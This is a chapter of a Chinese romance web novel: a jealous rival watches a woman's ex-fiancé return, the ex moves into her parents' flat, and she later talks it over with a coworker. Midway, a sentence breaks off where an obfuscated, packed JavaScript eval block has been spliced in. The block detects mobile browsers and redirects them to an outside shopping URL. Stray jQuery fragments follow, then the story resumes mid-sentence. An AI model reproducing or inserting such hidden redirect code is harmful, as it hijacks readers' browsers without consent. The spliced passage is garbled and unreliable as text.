林亦珩很多年前做过这样一个梦,梦里面所有的人都走在绿意盎然的鹅卵石大道上,唯独他身处在茫密的荆棘丛,高高的荆棘遮覆住他脚下的路。他拼命地想要走出那片荆棘丛,却怎么也走不出来。
终于当他费尽千辛万苦被荆棘刺划得满身伤痕走出那片荆棘丛的时候他发现他面前还有一条更深更长的河,当时那种宿命的桎梏与绝望的窒息感就可以用来形容他此刻的感觉。
他的视线里袁旭推着行李箱一步一步朝他与沈蓠走来,仿佛他每走一步,他与沈蓠的距离就一寸一寸相距更远。
林亦珩站在那里,却觉得整个人飘飘荡荡,周遭所有的一切人和物都在旋转倒退,袁旭与她在寸寸靠近,他们逐渐变得渺小,像空中两颗相向而行的尘埃。而自己像是与他们之间横亘了一条银河。
这是时隔八年以来他们首次的正式交锋。在他爱的女人面前,他告诉自己不能输,至少气势上不能输。
于是在袁旭朝他走来的那十几步路程里他艰难地压制心里汹涌的无望,将眼角眉宇间的灰败一丝一丝舒展进面色。惨白的脸色终于在晨光中泛了一抹黄。
直到袁旭推着行李箱站到沈蓠跟前,她才发觉这是真真切切的一个人。不是她与他分开后一年内她时常有的幻觉。
可是,他们已经分开两年之久。
她不觉间瞥一眼身旁的林亦珩,而后眼光看向袁旭,嘴角扯开一丝笑,“你怎么会来?”
袁旭在她面前站定,将她轻细的眼间动作清晰地收进眼里。
他的嘴角勾一丝笑,半分调侃,半分试探,“怎么?你不希望我回来?”
沈蓠的眉间及眼底瞬间染上笑意,“怎么会?”语气里不再有方才的迟疑,带着几分轻快。
袁旭勾勾唇角,不再答她的话。将眼神移向她身旁的林亦珩,又挑眉看沈蓠,“不介绍一下?”
沈蓠笑“噢”一声,说:“这是林亦珩。高中时的校友。”
她凝眸一瞥林亦珩,“这是袁旭......”
我的男朋友。
我的前男友。
林亦珩方才那几分钟里一直在暗自打量袁旭。
眉目硬朗,长相周正,身材挺拔。
白色衬衫黑色休闲裤,仅是推着行李箱站在那里简单的几句对话也是难掩的风度。
就样貌气度来说,他确实出众。虽然他极其不想承认。
也难怪她念念不忘这么多年。
多年以来梗在他喉间的刺已经刺破他的喉咙。
他艰涩而艰难地张口,“你好。”伸出手去握他的手。
两掌相合,眼神交汇。暗流涌动,不露声色。
袁旭不满沈蓠仅是一句“这是某某”就把他给介绍了,凭什么他有后缀而他没有。
既然她不说,那他只有替她说了,“你好,我是她的未婚夫。”
林亦珩松开手掌,抿唇一声嗤笑,略微讥讽,“是吗?我怎么记得是前未婚夫?”
一个是未曾谋面却多年取代他在她身旁刺在他心上的人。
一个是初次相见却两年替代他照顾她梗在他喉间的人。
今时相见,犹如星火相撞,不容彼此。一个急迫地表明身份,一个无情地拆穿现实。
“怎么?你没跟林先生说我要回来?”袁旭望向沈蓠,几分真假的诧异。
距离上次在城南婚艺馆接的那通电话,已经过去两个多月。
说实话,沈蓠并不对他抱有期待。就像当年他放弃她一样。
谁以为你要回来?
她双颊泛起尴尬,“呵呵”几声笑,“那个......你住哪里?我上班要迟到了......”
对她的回答,袁旭不甚在意,伸臂揽过她的腰肢,推着行李箱往回走,“住你家。今天请半天假陪我......”
曾经的亲密恋人,经过时光和现实的消磨,已不再有当初烈火滚滚的感觉。
沈蓠拘谨地跟随他的脚步,想回头招呼一声依旧在原地的林亦珩。
却被他揽得更紧,令她回头不得。
林亦珩立在原地,看这周围的香樟树,高空晨起的星光,恍如隔世。
他竭力稳住脚步,一步一步挪进车里。
伏在方向盘上长达十分钟之久。随后平静地启动车辆,驶出小区。
却在马路边上一声尖锐的急刹震得树上几只鸟儿扑棱翅膀飞走了。
这操?蛋的人生!
——
沈蓠在与袁旭上楼梯的空当,一直欲言又止。
她想跟他说能不能住酒店。
现实是他们已分开两年,说要住她家就住她家,这算怎么回事?
这个念头还没说出口,就被父亲母亲硬生生给掐断。
职工房大都与单位距离近,沈国成的单位距离家里步行十分钟的路程。吴淑华在他的单位任会计。所以俩人出门上班都比沈蓠晚些。
这不今天刚出门,俩人就在楼梯间与他们曾经无比惦念的女婿相遇。当然,还有他们的女儿。
老两口喜悦之情溢于言表,赶忙将人迎进去。
吴淑华尤甚,伸手去接袁旭的行李箱,袁旭忙推辞,最后沈国成看不过去,拎过行李箱进门。
吴淑华满眼的笑意,进了门就往厨房张罗,全然忘记她几分钟之前要出门上班一事,“小袁呐,今早赶车累吧?还没吃早餐吧,阿姨给你做。”
苏市在中国往北靠近沿海。他从苏市到雁城,从北到南,横穿大半个中国,可不就是十几个小时的车程。
沈蓠望着因欢喜而手足无措的母亲,不知心里是什么滋味。
这么多年,她与袁旭的事一直是她心里的遗憾。
不出三日,或许明日。婚事要被重提,现实又要重新摆上台面。
见她这样,这局面真不知要如何收场了。
罢了,走一步看一步吧。
沈蓠拉住要往厨房闯的母亲,“妈......妈......您跟爸先去上班。他想吃什么您可以下午回来给他做。”
袁旭从善如流,赶紧接过话,“是......阿姨。您下午回来给我做就成,别耽误您跟叔叔上班。”
“那怎么行?人家小袁饿着肚子呢。”吴淑华白一眼沈蓠,并不赞成她的提议。
沈国成作为父亲,对女儿的婚姻一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612007|143433||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
直是内敛的情绪表达。
对袁旭的到来,他没有过分的喜悦。当年因他的病情,他们不得已分开,如今他回来,只是心里那份亏欠终于有了出口。
所以对于吴淑华要给袁旭忙早餐一事,他并未有过多的热情,拉着吴淑华就要走,“行了行了,让他们自己张罗。再不走就要迟到了。”
沈国成与吴淑华一出门,沈蓠就嗔怪袁旭,“你可挑的是时候来。”
即便分开两年,可当初恋人间的熟稔与亲密感还是张嘴就体现出来。
袁旭惊喜她此时给他的亲昵感觉,只笑说:“我饿了,你煮面给我吃吧。”
当年在苏市,沈蓠独自在外租房住,他每逢周末去她那里,她也会偶尔为他下厨。
袁旭目光追随她在厨房里的身影,感叹这两年时光的消磨与离散。如今他到雁城,他想他们往后余生会有更多这样静谧的时刻。
只是,他未曾想一面好物即便修补得再完美也会有裂痕,回不到最初的模样。
七八来分钟,一碗西红柿鸡蛋面摆在袁旭面前。
沈蓠伸手解腰后的围裙结,“吃完你自己玩。我去上班了。”
袁旭捉住她的手腕,指腹摩挲她的肌肤,仰面看她,“把我一个人丢在家你忍心么?”
沈蓠拂开他的手臂,“忍心。”她进厨房之前微信谈晓檬,只让她帮忙请了半小时假。现在必须得走了。
袁旭与她相恋近六年,了解她的性子,很多事她有自己的坚持。所以他也不再执著要她陪他半天。
昨晚的林亦珩与今早的袁旭凑到一起对沈蓠的影响是......恍惚。
是的,恍惚。
以至于中午吃工作餐时被谈晓檬瞧出端倪。
“钦言的那个林副总跟你表白了?”除了这个,谈晓檬实在想不出还有什么理由能让她吃饭时发呆咬筷子。
沈蓠苦恼地拨开一片青椒,“比这个还严重。”
“我前男友回来了。”她忧愁得眉眼都挤到一起去了。
谈晓檬夹笋丝的筷子微微一顿,说:“回来了不正好,你们的矛盾也可以解决了。”
当年沈国成一出院沈蓠就决定不再回苏市,找到事务所的工作,与谈晓檬成为同事。她与袁旭僵持半年之久,谈晓檬对此事略有了解。
“不是啊……”沈蓠说不上来为什么,反正这跟她当初预想他回来时她会有的心情不一样。
谈晓檬注视她良久,然后问出一句,“你在纠结什么?”
“我不知道......”她摇头,神色迷惘。
谈晓檬虽然性格单纯,但心思玲珑通透。知道她正陷入死局。
有些事可能当局者迷,需要旁观者点拨才能看清,“那你自己好好静下心来想一想,他现在还是不是你想要的那个人。”
她停顿片刻,“或者说你现在想要的是不是另有其人。”
沈蓠讶异她的话,“你什么意思?”
“我的意思就是字面上的意思。”谈晓檬不再多言。
既然是点拨,那么就应当蜻蜓点水恰到好处。
移情什么的需要自己体会出来,才算真正的乐趣。